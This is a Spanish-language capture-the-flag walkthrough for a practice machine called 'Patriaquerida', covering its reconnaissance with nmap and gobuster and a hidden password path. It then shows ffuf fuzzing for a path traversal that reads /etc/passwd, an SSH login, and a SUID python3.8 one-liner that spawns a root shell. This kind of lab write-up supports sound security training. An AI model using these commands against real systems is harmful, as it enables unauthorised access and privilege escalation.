Patriaquerida
✍️ Autor: JuanR🔍 Dificultad: Fácil 📅 Fecha de creación: 12/01/2025
🔍 RECONOCIMIENTO
En primer lugar, tras conectarnos a la máquina, utilizamos el comando:
ping -c 1 172.17.0.2
para verificar la conectividad de red.

A continuación, realizamos el comando:
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Como podemos observar durante el escaneo que el puerto 22 perteneciente al servicio SSH y el puerto 80 perteneciente al servicio HTTP están abiertos por lo que a continuación se indagará más.
🔎 EXPLORACIÓN
Se utiliza el comando:
sudo nmap -sCV -p22,80 -v 172.17.0.2
para obtener más información sobre esos puertos específicamente.

En el puerto 80 corre la página por defecto de Apache por lo que realizamos un escaneo de directorios.

gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,txt,php,xml

Observamos que se encuentra un archivo llamado index.php, así que procederemos a explorar el contenido de esa ruta.

Nos indican directamente dónde buscar, así que accedemos a la ruta: 172.17.0.2/.hidden_pass.

Encontramos lo que parece ser una contraseña: balu.
🚀 EXPLOTACIÓN
Dado que existen rutas visibles, utilizaremos FFUZ para explorar más a fondo. Tal como se muestra en la imagen, el servidor es vulnerable a Path Traversal, lo que nos permite acceder al archivo /etc/passwd.
ffuf -u "http://172.17.0.2/index.php?FUZZ=/etc/passwd" -w directory-list-2.3-medium.txt -fw 12


Con la contraseña balu nos podemos loguear con el usuario pinguino.
ssh pinguino@172.17.0.2

🔐 PRIVILEGIOS
Indagando encontramos la contraseña del usuario mario por lo que pivotamos a él.


Al buscar permisos SUID encontramos que tenemos con python3.8.
find / -perm -4000 2>/dev/null

/usr/bin/python3.8 -c 'import os; os.execl("/bin/bash", "bash", "-p")'

Last updated
Was this helpful?